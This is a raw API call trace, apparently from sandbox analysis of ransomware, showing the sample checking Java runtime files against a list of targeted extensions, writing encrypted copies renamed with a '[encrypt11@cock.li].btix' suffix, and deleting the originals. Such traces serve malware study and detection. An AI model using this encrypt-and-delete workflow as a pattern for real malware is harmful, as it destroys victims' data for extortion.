lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0151.986] lstrlenW (lpString=".dbf") returned 4 [0151.986] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0151.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0151.986] lstrlenW (lpString=".1cd") returned 4 [0151.986] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0151.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0151.986] lstrlenW (lpString=".jpg") returned 4 [0151.986] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0151.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0151.986] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0151.986] lstrlenW (lpString=".doc") returned 4 [0151.986] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0151.986] lstrlenW (lpString=".docx") returned 5 [0151.986] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0151.986] lstrlenW (lpString=".pdf") returned 4 [0151.987] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0151.987] lstrlenW (lpString=".xls") returned 4 [0151.987] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0151.987] lstrlenW (lpString=".xlsx") returned 5 [0151.987] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0151.987] lstrlenW (lpString=".ppt") returned 4 [0151.987] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0151.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0151.987] lstrlenW (lpString=".zip") returned 4 [0151.987] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0151.987] lstrlenW (lpString=".rar") returned 4 [0151.987] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0151.987] lstrlenW (lpString=".bz2") returned 4 [0151.987] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0151.987] lstrlenW (lpString=".7z") returned 3 [0151.987] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0151.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0151.987] lstrlenW (lpString=".dbf") returned 4 [0151.987] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0151.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0151.987] lstrlenW (lpString=".1cd") returned 4 [0151.987] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0151.987] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0151.987] lstrlenW (lpString=".jpg") returned 4 [0151.987] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0151.988] lstrcmpiW (lpString1=".pf", lpString2=".btix") returned 1 [0151.988] lstrlenW (lpString="GRAY.pf") returned 7 [0151.988] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0151.988] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=632) returned 1 [0151.988] CloseHandle (hObject=0x398) returned 1 [0151.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20 [0151.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.097] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.097] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.097] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.097] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0152.098] GetLastError () returned 0x0 [0152.098] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x278, lpOverlapped=0x0) returned 1 [0152.132] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x280, lpOverlapped=0x0) returned 1 [0152.133] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.133] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe2, lpOverlapped=0x0) returned 1 [0152.133] SetEndOfFile (hFile=0x33c) returned 1 [0152.133] CloseHandle (hObject=0x33c) returned 1 [0152.133] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.133] SetEndOfFile (hFile=0x36c) returned 1 [0152.134] CloseHandle (hObject=0x36c) returned 1 [0152.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.134] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 1 [0152.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0152.134] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0152.134] lstrlenW (lpString=".doc") returned 4 [0152.134] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0152.135] lstrlenW (lpString=".docx") returned 5 [0152.135] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0152.135] lstrlenW (lpString=".pdf") returned 4 [0152.135] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0152.135] lstrlenW (lpString=".xls") returned 4 [0152.135] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0152.135] lstrlenW (lpString=".xlsx") returned 5 [0152.135] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0152.135] lstrlenW (lpString=".ppt") returned 4 [0152.135] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0152.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0152.135] lstrlenW (lpString=".zip") returned 4 [0152.135] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0152.135] lstrlenW (lpString=".rar") returned 4 [0152.135] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0152.135] lstrlenW (lpString=".bz2") returned 4 [0152.135] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0152.135] lstrlenW (lpString=".7z") returned 3 [0152.135] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0152.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0152.135] lstrlenW (lpString=".dbf") returned 4 [0152.135] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0152.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0152.135] lstrlenW (lpString=".1cd") returned 4 [0152.135] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0152.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0152.135] lstrlenW (lpString=".jpg") returned 4 [0152.135] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0152.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0152.135] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0152.135] lstrlenW (lpString=".doc") returned 4 [0152.135] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0152.135] lstrlenW (lpString=".docx") returned 5 [0152.135] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0152.135] lstrlenW (lpString=".pdf") returned 4 [0152.136] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0152.136] lstrlenW (lpString=".xls") returned 4 [0152.136] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0152.136] lstrlenW (lpString=".xlsx") returned 5 [0152.136] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0152.136] lstrlenW (lpString=".ppt") returned 4 [0152.136] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0152.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0152.136] lstrlenW (lpString=".zip") returned 4 [0152.136] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0152.136] lstrlenW (lpString=".rar") returned 4 [0152.136] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0152.136] lstrlenW (lpString=".bz2") returned 4 [0152.136] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0152.136] lstrlenW (lpString=".7z") returned 3 [0152.136] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0152.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0152.136] lstrlenW (lpString=".dbf") returned 4 [0152.136] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0152.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0152.136] lstrlenW (lpString=".1cd") returned 4 [0152.136] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0152.136] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0152.136] lstrlenW (lpString=".jpg") returned 4 [0152.136] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0152.136] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0152.136] lstrlenW (lpString="content-types.properties") returned 24 [0152.136] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.137] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=5548) returned 1 [0152.137] CloseHandle (hObject=0x36c) returned 1 [0152.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 0x20 [0152.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.137] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.137] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.137] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.137] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0152.137] GetLastError () returned 0x0 [0152.137] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x15ac, lpOverlapped=0x0) returned 1 [0152.138] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x15b0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x15b0, lpOverlapped=0x0) returned 1 [0152.139] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.139] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x104, lpOverlapped=0x0) returned 1 [0152.139] SetEndOfFile (hFile=0x33c) returned 1 [0152.139] CloseHandle (hObject=0x33c) returned 1 [0152.139] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.139] SetEndOfFile (hFile=0x36c) returned 1 [0152.140] CloseHandle (hObject=0x36c) returned 1 [0152.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.140] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\content-types.properties")) returned 1 [0152.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0152.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0152.141] lstrlenW (lpString=".doc") returned 4 [0152.141] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.141] lstrlenW (lpString=".docx") returned 5 [0152.141] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.141] lstrlenW (lpString=".pdf") returned 4 [0152.141] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.141] lstrlenW (lpString=".xls") returned 4 [0152.141] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.141] lstrlenW (lpString=".xlsx") returned 5 [0152.141] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.141] lstrlenW (lpString=".ppt") returned 4 [0152.141] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0152.141] lstrlenW (lpString=".zip") returned 4 [0152.141] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.141] lstrlenW (lpString=".rar") returned 4 [0152.141] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.141] lstrlenW (lpString=".bz2") returned 4 [0152.141] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.141] lstrlenW (lpString=".7z") returned 3 [0152.141] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0152.141] lstrlenW (lpString=".dbf") returned 4 [0152.141] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.141] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0152.141] lstrlenW (lpString=".1cd") returned 4 [0152.141] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0152.142] lstrlenW (lpString=".jpg") returned 4 [0152.142] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0152.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0152.142] lstrlenW (lpString=".doc") returned 4 [0152.142] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0152.142] lstrlenW (lpString=".docx") returned 5 [0152.142] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0152.142] lstrlenW (lpString=".pdf") returned 4 [0152.142] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0152.142] lstrlenW (lpString=".xls") returned 4 [0152.142] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0152.142] lstrlenW (lpString=".xlsx") returned 5 [0152.142] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0152.142] lstrlenW (lpString=".ppt") returned 4 [0152.142] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0152.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0152.142] lstrlenW (lpString=".zip") returned 4 [0152.142] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0152.142] lstrlenW (lpString=".rar") returned 4 [0152.142] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0152.142] lstrlenW (lpString=".bz2") returned 4 [0152.142] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0152.142] lstrlenW (lpString=".7z") returned 3 [0152.142] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0152.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0152.142] lstrlenW (lpString=".dbf") returned 4 [0152.142] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0152.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0152.142] lstrlenW (lpString=".1cd") returned 4 [0152.142] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0152.142] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\content-types.properties") returned 63 [0152.142] lstrlenW (lpString=".jpg") returned 4 [0152.142] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0152.143] lstrcmpiW (lpString1=".data", lpString2=".btix") returned 1 [0152.143] lstrlenW (lpString="currency.data") returned 13 [0152.143] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.143] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=4122) returned 1 [0152.143] CloseHandle (hObject=0x36c) returned 1 [0152.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0152.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.143] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0152.143] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.143] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.143] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0152.144] GetLastError () returned 0x0 [0152.144] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x101a, lpOverlapped=0x0) returned 1 [0152.144] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x1020, lpOverlapped=0x0) returned 1 [0152.145] ReadFile (in: hFile=0x36c, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.145] WriteFile (in: hFile=0x33c, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xee, lpOverlapped=0x0) returned 1 [0152.146] SetEndOfFile (hFile=0x33c) returned 1 [0152.146] CloseHandle (hObject=0x33c) returned 1 [0152.146] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.146] SetEndOfFile (hFile=0x36c) returned 1 [0152.146] CloseHandle (hObject=0x36c) returned 1 [0152.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0152.147] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 1 [0152.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0152.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0152.147] lstrlenW (lpString=".doc") returned 4 [0152.147] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0152.147] lstrlenW (lpString=".docx") returned 5 [0152.147] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0152.147] lstrlenW (lpString=".pdf") returned 4 [0152.147] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0152.147] lstrlenW (lpString=".xls") returned 4 [0152.147] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0152.147] lstrlenW (lpString=".xlsx") returned 5 [0152.147] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0152.147] lstrlenW (lpString=".ppt") returned 4 [0152.147] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0152.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0152.148] lstrlenW (lpString=".zip") returned 4 [0152.148] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0152.148] lstrlenW (lpString=".rar") returned 4 [0152.148] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0152.148] lstrlenW (lpString=".bz2") returned 4 [0152.148] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0152.148] lstrlenW (lpString=".7z") returned 3 [0152.148] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0152.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0152.148] lstrlenW (lpString=".dbf") returned 4 [0152.148] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0152.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0152.148] lstrlenW (lpString=".1cd") returned 4 [0152.148] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0152.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0152.148] lstrlenW (lpString=".jpg") returned 4 [0152.148] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0152.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0152.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0152.148] lstrlenW (lpString=".doc") returned 4 [0152.148] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0152.148] lstrlenW (lpString=".docx") returned 5 [0152.148] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0152.148] lstrlenW (lpString=".pdf") returned 4 [0152.148] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0152.148] lstrlenW (lpString=".xls") returned 4 [0152.148] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0152.148] lstrlenW (lpString=".xlsx") returned 5 [0152.148] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0152.148] lstrlenW (lpString=".ppt") returned 4 [0152.148] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0152.148] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0152.148] lstrlenW (lpString=".zip") returned 4 [0152.148] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0152.149] lstrlenW (lpString=".rar") returned 4 [0152.149] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0152.149] lstrlenW (lpString=".bz2") returned 4 